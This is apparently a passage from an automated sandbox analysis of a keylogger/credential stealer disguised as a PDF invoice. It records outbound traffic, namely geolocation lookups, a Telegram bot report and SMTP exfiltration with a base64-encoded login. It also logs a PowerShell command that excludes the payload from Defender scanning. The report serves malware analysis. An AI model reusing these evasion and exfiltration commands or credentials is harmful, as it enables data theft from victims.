Oct 17, 2024 09:44:49.437829971 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 07:44:49 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f5b48c90ecbe21837b0b380867a85604 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.82</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49774	193.122.130.0	80	7364	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:50.204370022 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49775	193.122.130.0	80	7364	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:50.212238073 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49776	193.122.130.0	80	7364	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Timestamp	Bytes transferred	Direction	Data
Oct 17, 2024 09:44:50.227319002 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Oct 17, 2024 09:44:50.910689116 CEST	323	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 07:44:50 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: f8c70781179f07d272d697d59e1fcb30 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.254.250.82</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49740	188.114.96.3	443	8080	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 07:44:42 UTC	87	OUT	GET /xml/173.254.250.82 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-17 07:44:43 UTC	708	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 07:44:42 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 11561 Last-Modified: Thu, 17 Oct 2024 04:32:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=asp7407ZkOZGK1sMKUBdE6aL7dPq6JdAaKTQDksDhpFnexcQGsay96byoB%2BxV7zDFhd2PLqMpHkVole2BIZJusMl8B%2Fop9nFqRAWSAiofCvj7zQ%2B5ug%2FFT6m1U8IeCTZXOyQreA9"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d3eaa3c5bda6c1a-DFW alt-svc: h3=":443"; ma=86400
2024-10-17 07:44:43 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.82</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-17 07:44:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49745	188.114.96.3	443	8080	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 07:44:44 UTC	63	OUT	GET /xml/173.254.250.82 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-17 07:44:44 UTC	710	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 07:44:44 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 11563 Last-Modified: Thu, 17 Oct 2024 04:32:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=t8%2Bdx5r4owQS%2BMp5F7a0hmb1%2FDOqVbdFvJeaz8LxQm%2B91K53QD9uMoTXGBeSxASFdoMyvtuiGQcFSU%2Bwdho6dKQrBMjrKb2JB5poqdOr0DIMSwecfDdPn6tUfvYvpW2M003ZqIKo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d3eaa44f8d34782-DFW alt-svc: h3=":443"; ma=86400
2024-10-17 07:44:44 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.82</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-17 07:44:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49749	188.114.96.3	443	8080	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 07:44:45 UTC	63	OUT	GET /xml/173.254.250.82 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-17 07:44:45 UTC	712	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 07:44:45 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 11564 Last-Modified: Thu, 17 Oct 2024 04:32:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FPI%2F1YV2T43zx1ro%2BotuNF41kCH1bZ%2F67WxKDVihpYa7xB0%2Ba1dgYOtWbc97cI0GnDEQzWbyr9qTXnQUceA%2FpLcJDO2djHnrmBWz1jECO5A8aunMWEWfpr8UAc7KaQK99LkepIE%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d3eaa4e38c06bf6-DFW alt-svc: h3=":443"; ma=86400
2024-10-17 07:44:45 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.82</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-17 07:44:45 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49760	188.114.96.3	443	7364	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 07:44:46 UTC	87	OUT	GET /xml/173.254.250.82 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-10-17 07:44:46 UTC	706	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 07:44:46 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 11565 Last-Modified: Thu, 17 Oct 2024 04:32:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V%2F5babQv6Z4%2F6uuoeCOxVhJ0wxHvv1Ai%2FRaCLH1hsXRvfUu4zwt8582gHWmxtYevLH95MYFxAeIDQu5PxONoKYkb5ytaeTgjpcEIYsU7sDxCEDJd9c9Tai4xbAOf0Y6LpN0Ii9lE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d3eaa54df283ad3-DFW alt-svc: h3=":443"; ma=86400
2024-10-17 07:44:46 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.82</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-17 07:44:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49759	149.154.167.220	443	8080	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 07:44:46 UTC	334	OUT	GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:226533%0D%0ADate%20and%20Time:%2017/10/2024%20/%2007:24:17%0D%0ACountry%20Name:%20%0D%0A%5B%20226533%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1 Host: api.telegram.org Connection: Keep-Alive
2024-10-17 07:44:47 UTC	344	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 17 Oct 2024 07:44:46 GMT Content-Type: application/json Content-Length: 55 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-10-17 07:44:47 UTC	55	IN	Data Raw: 7b 22 6f 6b 22 3a 66 61 6c 73 65 2c 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 34 30 34 2c 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 4e 6f 74 20 46 6f 75 6e 64 22 7d Data Ascii: {"ok":false,"error_code":404,"description":"Not Found"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49761	188.114.96.3	443	7364	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 07:44:47 UTC	63	OUT	GET /xml/173.254.250.82 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-17 07:44:47 UTC	706	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 07:44:47 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 11566 Last-Modified: Thu, 17 Oct 2024 04:32:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=z7yPjI8Eaizuw82YgC85N9haMFC4zcGX2yw9hZ1j9Dn4KzmAUBG2yDCBwMvdmfpFTCioU80bqqMFuuXxydnO%2B%2BxSCGMc7G3GLQTZlBaGDmIjxxXKbGkSnanypDiPjGbtujwNDRl%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d3eaa5acfe8486d-DFW alt-svc: h3=":443"; ma=86400
2024-10-17 07:44:47 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.82</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-17 07:44:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49772	188.114.96.3	443	7364	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 07:44:50 UTC	63	OUT	GET /xml/173.254.250.82 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-17 07:44:50 UTC	716	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 07:44:50 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 11569 Last-Modified: Thu, 17 Oct 2024 04:32:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=47O1dUHm%2B%2FIuS2tu%2FMauLTVgA9n193GavC9%2FESZRmeRB7C5KB06dY6cBe9YBNhq3cdijm5EBuRvWsgX1DjRR5Ecbbqbjny%2FQ9Bu%2B%2F13GlxLStZ58fDNumhctF0G2%2B56OSOQ62jCZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d3eaa693b576b22-DFW alt-svc: h3=":443"; ma=86400
2024-10-17 07:44:50 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.82</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-17 07:44:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49777	188.114.96.3	443	7364	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 07:44:51 UTC	63	OUT	GET /xml/173.254.250.82 HTTP/1.1 Host: reallyfreegeoip.org
2024-10-17 07:44:51 UTC	704	IN	HTTP/1.1 200 OK Date: Thu, 17 Oct 2024 07:44:51 GMT Content-Type: application/xml Transfer-Encoding: chunked Connection: close access-control-allow-origin: * vary: Accept-Encoding Cache-Control: max-age=86400 CF-Cache-Status: HIT Age: 11570 Last-Modified: Thu, 17 Oct 2024 04:32:01 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OiQveHSt4fzhiXeIVaFNjtyiWwXxpYgjIs4aFZAW15ZQDYyTgboodxpKOBlkn%2BfJP81mzRXxs4yppxg7sRgOP0Pvmdw30To96iCc3WCGKLwX6OiopCam4xmVxV6%2FIcfMVfuhkJbg"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d3eaa727aaceaa0-DFW alt-svc: h3=":443"; ma=86400
2024-10-17 07:44:51 UTC	366	IN	Data Raw: 31 36 37 0d 0a 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 31 37 33 2e 32 35 34 2e 32 35 30 2e 38 32 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 54 58 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 54 65 78 61 73 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4b 69 6c 6c 65 65 6e 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 37 36 35 34 39 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 43 68 69 63 61 67 6f 3c 2f 54 69 6d 65 Data Ascii: 167<Response><IP>173.254.250.82</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>TX</RegionCode><RegionName>Texas</RegionName><City>Killeen</City><ZipCode>76549</ZipCode><TimeZone>America/Chicago</Time
2024-10-17 07:44:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

SMTP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 17, 2024 09:44:57.923410892 CEST	587	49790	208.91.199.223	192.168.2.4	220 us2.outbound.mailhostbox.com ESMTP Postfix
Oct 17, 2024 09:44:57.923710108 CEST	49790	587	192.168.2.4	208.91.199.223	EHLO 226533
Oct 17, 2024 09:44:58.081408024 CEST	587	49790	208.91.199.223	192.168.2.4	250-us2.outbound.mailhostbox.com 250-PIPELINING 250-SIZE 41648128 250-VRFY 250-ETRN 250-STARTTLS 250-AUTH PLAIN LOGIN 250-AUTH=PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250-DSN 250 CHUNKING
Oct 17, 2024 09:44:58.093862057 CEST	49790	587	192.168.2.4	208.91.199.223	AUTH login c2VzaWxlYnJ1Y2VAZWxlbWFjdWFlLmNvbQ==
Oct 17, 2024 09:44:58.253971100 CEST	587	49790	208.91.199.223	192.168.2.4	334 UGFzc3dvcmQ6
Oct 17, 2024 09:44:58.445933104 CEST	587	49790	208.91.199.223	192.168.2.4	235 2.7.0 Authentication successful
Oct 17, 2024 09:44:58.449783087 CEST	49790	587	192.168.2.4	208.91.199.223	MAIL FROM:<sesilebruce@elemacuae.com>
Oct 17, 2024 09:44:58.628186941 CEST	587	49790	208.91.199.223	192.168.2.4	250 2.1.0 Ok
Oct 17, 2024 09:44:58.628372908 CEST	49790	587	192.168.2.4	208.91.199.223	RCPT TO:<ilguerrii12@gmail.com>
Oct 17, 2024 09:44:58.818130016 CEST	587	49790	208.91.199.223	192.168.2.4	250 2.1.5 Ok
Oct 17, 2024 09:44:58.818481922 CEST	49790	587	192.168.2.4	208.91.199.223	DATA
Oct 17, 2024 09:44:58.976402044 CEST	587	49790	208.91.199.223	192.168.2.4	354 End data with <CR><LF>.<CR><LF>
Oct 17, 2024 09:44:58.977381945 CEST	49790	587	192.168.2.4	208.91.199.223	.
Oct 17, 2024 09:44:59.270536900 CEST	587	49790	208.91.199.223	192.168.2.4	250 2.0.0 Ok: queued as B437F5004C5
Oct 17, 2024 09:46:37.329365969 CEST	49790	587	192.168.2.4	208.91.199.223	QUIT
Oct 17, 2024 09:46:37.494847059 CEST	587	49790	208.91.199.223	192.168.2.4	221 2.0.0 Bye

Target ID:	0
Start time:	03:44:35
Start date:	17/10/2024
Path:	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe"
Imagebase:	0x380000
File size:	685'568 bytes
MD5 hash:	735A7DF205549792227DE19741161BF4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 00000000.00000002.1771143181.00000000037B2000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	03:44:37
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe"
Imagebase:	0xc40000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	03:44:37
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	03:44:39
Start date:	17/10/2024
Path:	C:\Windows\System32\wbem\WmiPrvSE.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Imagebase:	0x7ff693ab0000
File size:	496'640 bytes
MD5 hash:	60FF40CFD7FB8FE41EE4FE9AE5FE1C51
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
